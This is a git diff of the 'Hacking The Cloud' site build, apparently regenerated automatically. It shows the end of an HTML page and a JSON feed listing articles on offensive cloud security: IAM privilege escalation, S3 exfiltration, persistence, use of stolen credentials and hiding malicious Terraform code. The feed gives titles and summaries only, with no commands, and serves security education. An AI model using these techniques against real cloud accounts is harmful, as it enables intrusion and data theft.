2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/feed_json_created.json b/feed_json_created.json
index cb94a5b88..4804c89cb 100644
--- a/feed_json_created.json
+++ b/feed_json_created.json
@@ -1 +1 @@
-{"version": "https://jsonfeed.org/version/1", "title": "Hacking The Cloud", "home_page_url": "https://hackingthe.cloud/", "feed_url": "https://hackingthe.cloud/feed_json_created.json", "description": "The encyclopedia for offensive security in the cloud.", "icon": null, "authors": [], "language": "en", "items": [{"id": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_cli_tips_and_tricks/", "title": "AWS CLI Tips and Tricks", "content_html": "A collection of tips and tricks for using the AWS CLI.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_cli_tips_and_tricks.png", "date_published": "2024-11-04T03:15:10+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/run-command-abuse/", "url": "https://hackingthe.cloud/azure/run-command-abuse/", "title": "Run Command Abuse", "content_html": "Utilise Azure RunCommands for execution and lateral movement.", "image": "https://hackingthe.cloud/assets/images/social/azure/run-command-abuse.png", "date_published": "2024-10-05T05:04:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/", "title": "Exploiting Misconfigured GitLab OIDC AWS IAM Roles", "content_html": "Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png", "date_published": "2024-09-01T22:46:15+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/", "title": "CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios", "content_html": "An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario.png", "date_published": "2024-07-31T20:37:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "url": "https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/", "title": "Prevent Expensive AWS API Actions with SCPs", "content_html": "Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/block-expensive-actions-with-scps.png", "date_published": "2024-07-30T00:15:57+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/", "title": "Enumerate Org/Folder/Project Permissions + Individual Resource Permissions", "content_html": "Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_all_permissions.png", "date_published": "2024-07-14T21:08:01+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "url": "https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/", "title": "Discover secrets in public AMIs", "content_html": "How to find public AMIs and get stored secrets.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/discover_secrets_in_public_aims.png", "date_published": "2024-05-28T16:27:11+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/", "title": "Enumerate Root User Email Address from the AWS Console", "content_html": "Identify if an email address belongs to the root user of an AWS account.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_root_email_from_console.png", "date_published": "2024-05-21T20:10:23+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/", "title": "Abusing Misconfigured Role Trust Policies with a Wildcard Principal", "content_html": "How to take advantage of misconfigured role trust policies that have wildcard principals.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png", "date_published": "2024-01-29T03:39:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "url": "https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/", "title": "EC2 Privilege Escalation Through User Data", "content_html": "How to escalate privileges on an EC2 instance by abusing user data.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png", "date_published": "2024-01-21T17:59:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "url": "https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/", "title": "Bypass Cognito Account Enumeration Controls", "content_html": "Leverage a flaw in Cognito's API to enumerate accounts in User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png", "date_published": "2024-01-07T21:28:56+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "url": "https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/", "title": "DNS and CloudFront Domain Takeover via Deleted S3 Buckets", "content_html": "How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3.png", "date_published": "2023-12-20T14:50:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2023_wrap-up/", "url": "https://hackingthe.cloud/blog/2023_wrap-up/", "title": "2023 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2023.", "image": "https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png", "date_published": "2023-12-20T01:25:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "url": "https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/", "title": "Data Exfiltration through S3 Server Access Logs", "content_html": "Exfiltrate data via S3:GetObject and S3 server access logs.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png", "date_published": "2023-12-07T10:12:13+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "url": "https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/", "title": "Derive a Principal ARN from an AWS Unique Identifier", "content_html": "How to convert an unique identifier to a principal ARN.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/enumerate_principal_arn_from_unique_id.png", "date_published": "2023-11-20T00:54:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "url": "https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/", "title": "Survive Access Key Deletion with sts:GetFederationToken", "content_html": "Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png", "date_published": "2023-09-25T13:24:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/iam_persistence/", "title": "AWS IAM Persistence Methods", "content_html": "A catalog of methods to maintain access to the AWS control plane.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png", "date_published": "2023-08-01T01:58:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "url": "https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/", "title": "Download Tools and Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_published": "2023-07-13T03:46:27+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/", "title": "Abusing Overpermissioned AWS Cognito Identity Pools", "content_html": "How to take advantage of misconfigured Amazon Cognito Identity Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "url": "https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/", "title": "Abusing Unintended Self-Signup in AWS Cognito", "content_html": "How to take advantage of misconfigured Amazon Cognito User Pools.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png", "date_published": "2023-06-20T17:26:14+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_published": "2023-04-11T13:31:32+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "url": "https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/", "title": "Create a Console Session from IAM Credentials", "content_html": "How to use IAM credentials to create an AWS Console session.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/create_a_console_session_from_iam_credentials.png", "date_published": "2023-02-20T16:48:45+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_published": "2023-02-10T15:12:48+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "url": "https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/", "title": "Exfiltrating S3 Data with Bucket Replication Policies", "content_html": "Backdooring S3 buckets with Bucket Replication Policies.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3-bucket-replication-exfiltration.png", "date_published": "2023-01-26T01:02:06+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/2022_wrap-up/", "url": "https://hackingthe.cloud/blog/2022_wrap-up/", "title": "2022 Wrap-up", "content_html": "An end of year summary for Hacking the Cloud in 2022.", "image": "https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png", "date_published": "2022-12-14T03:27:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "url": "https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/", "title": "Loot Public EBS Snapshots", "content_html": "How to find and take advantage of exposed EBS snapshots.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png", "date_published": "2022-12-05T02:08:42+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/", "title": "Misconfigured Resource-Based Policies", "content_html": "Common misconfigurations of resource-based policies and how they can be abused.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "url": "https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/", "title": "Abusing Misconfigured ECR Resource Policies", "content_html": "How to take advantage of misconfigured AWS ECR private repositories.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png", "date_published": "2022-11-24T22:14:38+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "url": "https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/", "title": "AWS Organizations Defaults & Pivoting", "content_html": "How to abuse AWS Organizations' default behavior and lateral movement capabilities.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png", "date_published": "2022-11-05T00:02:54+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "url": "https://hackingthe.cloud/aws/exploitation/abusing-container-registry/", "title": "Abusing Elastic Container Registry for Lateral Movement", "content_html": "With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png", "date_published": "2022-10-13T01:37:41+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/blog/v2_new_look/", "url": "https://hackingthe.cloud/blog/v2_new_look/", "title": "Hacking The Cloud v2: New Look", "content_html": "All about the new look for Hacking The Cloud v2.", "image": "https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png", "date_published": "2022-09-18T21:18:30+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_published": "2022-08-29T00:18:19+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_published": "2022-08-24T12:25:09+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_published": "2022-08-23T14:34:53+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "url": "https://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/", "title": "Terraform ANSI Escape", "content_html": "Using ANSI Escape Sequences to Hide Malicious Terraform Code", "image": "https://hackingthe.cloud/assets/images/social/terraform/terraform_ansi_escape_evasion.png", "date_published": "2022-07-09T00:02:47+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_published": "2022-05-29T13:26:35+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "url": "https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/", "title": "Using Stolen IAM Credentials", "content_html": "How to work with stolen IAM credentials and things to consider.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/using_stolen_iam_credentials.png", "date_published": "2022-05-14T21:51:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "url": "https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/", "title": "Run Shell Commands on EC2 with Send Command or Session Manager", "content_html": "Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png", "date_published": "2022-04-11T23:11:43+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/abusing-managed-identities/", "url": "https://hackingthe.cloud/azure/abusing-managed-identities/", "title": "Abusing Managed Identities", "content_html": "Abusing Managed Identities", "image": "https://hackingthe.cloud/assets/images/social/azure/abusing-managed-identities.png", "date_published": "2022-03-27T16:57:50+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/anonymous-blob-access/", "url": "https://hackingthe.cloud/azure/anonymous-blob-access/", "title": "Anonymous Blob Access", "content_html": "Finding and accessing files stored in Azure Storage Accounts without 